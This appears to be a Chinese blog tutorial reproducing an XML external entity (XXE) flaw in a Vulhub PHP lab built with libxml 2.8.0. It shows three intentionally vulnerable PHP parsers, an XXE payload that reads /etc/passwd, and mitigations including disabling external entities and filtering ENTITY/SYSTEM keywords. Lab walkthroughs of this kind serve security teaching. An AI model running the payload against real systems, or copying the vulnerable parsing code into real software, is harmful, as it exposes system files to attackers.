天天看點

PHP環境 XML外部實體注入漏洞環境介紹漏洞原理漏洞複現修補方案和建議

PHP環境 XML外部實體注入漏洞

  • 環境介紹
  • 漏洞原理
  • 漏洞複現
  • 修補方案和建議

環境介紹

libxml 2.8.0

libxml2.9.0以後,預設不解析外部實體,導緻XXE漏洞逐漸消亡。為了示範PHP環境下的XXE漏洞,本例會将libxml2.8.0版本編譯進PHP中。PHP版本并不影響XXE利用。

漏洞原理

XML 被設計為傳輸和存儲資料,其焦點是資料的内容。 HTML 被設計用來顯示資料,其焦點是資料的外觀。 HTML 旨在顯示資訊,而 XML 旨在傳輸資訊。XML特點,XML 被設計用來結構化、存儲以及傳輸資訊。僅僅是純文字,有能力處理純文字的軟體都可以處理 XML。XML 允許創作者定義自己的标簽和自己的文檔結構。XML 是獨立于軟體和硬體的資訊傳輸工具。所有現代浏覽器都有讀取和操作 XML 的内建 XML 解析器,但是不同的浏覽器解析的方法不一樣的,如在IE中使用loadXML()方法,在其他浏覽器中使用DOMParser。loadXML()方法用于加載字元串文本,load()方法用于加載檔案。解析器把 XML 載入記憶體,然後把它轉換為可通過 JavaScript 通路的 XML DOM 對象。

漏洞複現

利用Vulhub靶場進行漏洞複現

cd /vulhub/php/php_xxe 
docker-compose up -d

           

環境啟動後,通路

http://your-ip:8080/index.php

即可看到 phpinfo,搜尋 libxml 即可看到其版本為 2.8.0。

PHP環境 XML外部實體注入漏洞環境介紹漏洞原理漏洞複現修補方案和建議

Web目錄位www有四個檔案

├── dom.php # 示例:使用DOMDocument解析body

├── index.php

├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類解析body

└── simplexml_load_string.php # 示例:使用simplexml_load_string函數解析body

dom.php

,

SimpleXMLElement.php

,

simplexml_load_string.php

均可觸發XXE漏洞,具體輸出點請閱讀這三個檔案的代碼。

三個頁面源碼依次如下:

dom.php

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);
           

SimpleXMLElement.php

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;
           

simplexml_load_string.php

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;
           

通過burp suite抓取通路

dom.php

,

SimpleXMLElement.php

,

simplexml_load_string.php

的資料包并添加payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

           
PHP環境 XML外部實體注入漏洞環境介紹漏洞原理漏洞複現修補方案和建議
PHP環境 XML外部實體注入漏洞環境介紹漏洞原理漏洞複現修補方案和建議
PHP環境 XML外部實體注入漏洞環境介紹漏洞原理漏洞複現修補方案和建議

修補方案和建議

  1. 使用開發語言提供的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);

Python:

from lxml importetree xmlData= etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  1. 過濾使用者送出的XML資料

如:!ENTITY,SYSTEM和PUBLIC

參考

https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)

https://blog.csdn.net/EC_Carrot/article/details/118900314